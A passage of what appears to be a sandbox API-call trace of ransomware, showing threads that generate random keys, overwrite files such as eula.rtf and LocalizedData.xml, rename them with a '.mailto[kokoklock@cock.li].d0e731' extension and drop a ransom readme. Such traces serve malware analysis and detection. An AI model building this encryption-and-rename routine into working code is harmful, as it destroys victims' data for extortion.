"c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0066.375] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.739] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0068.739] GetFileSizeEx (in: hFile=0x718, lpFileSize=0xc12fd74 | out: lpFileSize=0xc12fd74*=3546) returned 1 [0068.739] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0xdd6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.739] ReadFile (in: hFile=0x718, lpBuffer=0xc12fd48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc12fd44, lpOverlapped=0x0 | out: lpBuffer=0xc12fd48*, lpNumberOfBytesRead=0xc12fd44*=0x4, lpOverlapped=0x0) returned 1 [0068.740] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424028 [0068.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423fd8 [0068.740] NtQuerySystemTime (in: CurrentTime=0xc12fd20 | out: CurrentTime=0xc12fd20*=132121176266347689) returned 0x0 [0068.740] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xb6b303d7 [0068.740] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xa83c5d80 [0068.740] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x2a39a422 [0068.740] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x7dca46ca [0068.740] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x6264d4a0 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x69cc81d9 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x641c6ebb [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xb81c4183 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xe17f05e8 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x428f19bf [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x9f6b3504 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xd4d23c97 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x529ff00d [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x31ad826a [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xb6f8fe51 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x35cf311e [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x535a4c9b [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x7c55ef9a [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x73b662dd [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x78cbe5ee [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x27aafc7f [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xe94235de [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xb7f2d531 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x8141a5a2 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xd83455b5 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xd2039d8 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xfcdbcbf8 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xdf7ec2cc [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x43689e90 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x16cb0976 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0xbc3d24f6 [0068.741] RtlRandom (in: Seed=0xc12fd2c | out: Seed=0xc12fd2c) returned 0x8e8fed73 [0068.753] ReadFile (in: hFile=0x718, lpBuffer=0x3475830, nNumberOfBytesToRead=0xdda, lpNumberOfBytesRead=0xc12fd20, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc12fd20*=0xdda, lpOverlapped=0x0) returned 1 [0068.753] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xc12fce8 | out: lpNewFilePointer=0x0) returned 1 [0068.753] WriteFile (in: hFile=0x718, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xdda, lpNumberOfBytesWritten=0xc12fd1c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xc12fd1c*=0xdda, lpOverlapped=0x0) returned 1 [0068.754] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.754] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e48 [0068.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0068.754] WriteFile (in: hFile=0x718, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc12fd18, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xc12fd18*=0x20, lpOverlapped=0x0) returned 1 [0068.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.754] WriteFile (in: hFile=0x718, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc12fd44, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0xc12fd44*=0x8, lpOverlapped=0x0) returned 1 [0068.754] WriteFile (in: hFile=0x718, lpBuffer=0xc12fd5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc12fd44, lpOverlapped=0x0 | out: lpBuffer=0xc12fd5c*, lpNumberOfBytesWritten=0xc12fd44*=0x4, lpOverlapped=0x0) returned 1 [0068.754] WriteFile (in: hFile=0x718, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc12fd44, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc12fd44*=0x4, lpOverlapped=0x0) returned 1 [0068.754] WriteFile (in: hFile=0x718, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc12fd44, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc12fd44*=0x6c, lpOverlapped=0x0) returned 1 [0068.754] WriteFile (in: hFile=0x718, lpBuffer=0x3424028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc12fd44, lpOverlapped=0x0 | out: lpBuffer=0x3424028*, lpNumberOfBytesWritten=0xc12fd44*=0x20, lpOverlapped=0x0) returned 1 [0068.755] WriteFile (in: hFile=0x718, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc12fd44, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc12fd44*=0x4, lpOverlapped=0x0) returned 1 [0068.755] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424028) returned 1 [0068.755] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424000) returned 1 [0068.755] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.755] CloseHandle (hObject=0x718) returned 1 [0071.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0071.095] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1043\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf" [0071.095] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.095] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.096] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0071.096] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.096] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.096] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1043\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0071.096] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt" [0071.096] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\d0e731-readme.txt")) returned 0x20 [0071.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33faa08) returned 1 [0071.096] RtlExitUserThread (Status=0x1) Thread: id = 235 os_tid = 0x1224 [0063.489] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0064.584] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.074] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x798 [0071.074] GetFileSizeEx (in: hFile=0x798, lpFileSize=0xc1afdd8 | out: lpFileSize=0xc1afdd8*=79634) returned 1 [0071.074] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x1370e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.074] ReadFile (in: hFile=0x798, lpBuffer=0xc1afdac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc1afda8, lpOverlapped=0x0 | out: lpBuffer=0xc1afdac*, lpNumberOfBytesRead=0xc1afda8*=0x4, lpOverlapped=0x0) returned 1 [0071.075] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.075] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.075] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.075] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422c08 [0071.075] NtQuerySystemTime (in: CurrentTime=0xc1afd84 | out: CurrentTime=0xc1afd84*=132121176289628924) returned 0x0 [0071.075] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x3baa0dc [0071.075] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x36c29637 [0071.075] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xf399c261 [0071.075] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xd3e9455 [0071.075] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x51342919 [0071.075] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xcbe5c0f7 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x81f8d29 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x744aa1cc [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x766cbc97 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x519fb2db [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x1c6c1c1d [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xbf237b5d [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x2fcacdd4 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x9032f2f8 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x4818d01c [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x82f617a6 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x2b331a67 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xb1dd90a5 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xc34005a3 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x8480757a [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x130602f6 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xdf7baecb [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xa0476475 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xbd9803e7 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x8e06c416 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x71281522 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x223d435c [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xb5b19e7d [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xadb486e0 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0x57dfc786 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xe9a38ea9 [0071.076] RtlRandom (in: Seed=0xc1afd90 | out: Seed=0xc1afd90) returned 0xf56c47eb [0071.087] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.087] ReadFile (in: hFile=0x798, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc1afd5c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc1afd5c*=0x4096, lpOverlapped=0x0) returned 1 [0071.088] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422dc0 [0071.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422dc0) returned 1 [0071.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0071.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0071.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.089] WriteFile (in: hFile=0x798, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc1afd5c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xc1afd5c*=0x4096, lpOverlapped=0x0) returned 1 [0071.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.089] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x13712, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.089] WriteFile (in: hFile=0x798, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc1afd94, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xc1afd94*=0x20, lpOverlapped=0x0) returned 1 [0071.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.089] WriteFile (in: hFile=0x798, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc1afda8, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xc1afda8*=0x8, lpOverlapped=0x0) returned 1 [0071.089] WriteFile (in: hFile=0x798, lpBuffer=0xc1afdc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc1afda8, lpOverlapped=0x0 | out: lpBuffer=0xc1afdc0*, lpNumberOfBytesWritten=0xc1afda8*=0x4, lpOverlapped=0x0) returned 1 [0071.089] WriteFile (in: hFile=0x798, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc1afda8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc1afda8*=0x4, lpOverlapped=0x0) returned 1 [0071.089] WriteFile (in: hFile=0x798, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc1afda8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc1afda8*=0x6c, lpOverlapped=0x0) returned 1 [0071.089] WriteFile (in: hFile=0x798, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc1afda8, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xc1afda8*=0x20, lpOverlapped=0x0) returned 1 [0071.089] WriteFile (in: hFile=0x798, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc1afda8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc1afda8*=0x4, lpOverlapped=0x0) returned 1 [0071.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0071.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.090] CloseHandle (hObject=0x798) returned 1 [0071.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.090] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" [0071.090] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.090] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.090] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.091] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.091] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.091] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1043\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0071.091] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt" [0071.091] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\d0e731-readme.txt")) returned 0xffffffff [0071.091] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x798 [0071.093] WriteFile (in: hFile=0x798, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xc1afda4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xc1afda4*=0x481, lpOverlapped=0x0) returned 1 [0071.094] CloseHandle (hObject=0x798) returned 1 [0071.094] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.094] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426f30) returned 1 [0071.094] RtlExitUserThread (Status=0x1) Thread: id = 236 os_tid = 0x1228 [0063.489] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0066.375] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.756] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0068.756] GetFileSizeEx (in: hFile=0x714, lpFileSize=0xc22fb74 | out: lpFileSize=0xc22fb74*=4254) returned 1 [0068.756] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x109a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.756] ReadFile (in: hFile=0x714, lpBuffer=0xc22fb48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc22fb44, lpOverlapped=0x0 | out: lpBuffer=0xc22fb48*, lpNumberOfBytesRead=0xc22fb44*=0x4, lpOverlapped=0x0) returned 1 [0068.757] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424028 [0068.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424000 [0068.757] NtQuerySystemTime (in: CurrentTime=0xc22fb20 | out: CurrentTime=0xc22fb20*=132121176266503977) returned 0x0 [0068.757] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x60167016 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xee4c8e45 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xa4074f71 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x22b1dbba [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x240479a4 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xfc47fd1d [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x6bf5a1ce [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xe01cc24c [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x738ca27c [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xfa580d1e [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x31cd0471 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x7dbad0cd [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x208e1be9 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xc470318a [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x1bf89320 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xca4e35f7 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x4f7f3313 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x8230a08b [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x7d6d66c1 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xecb968a5 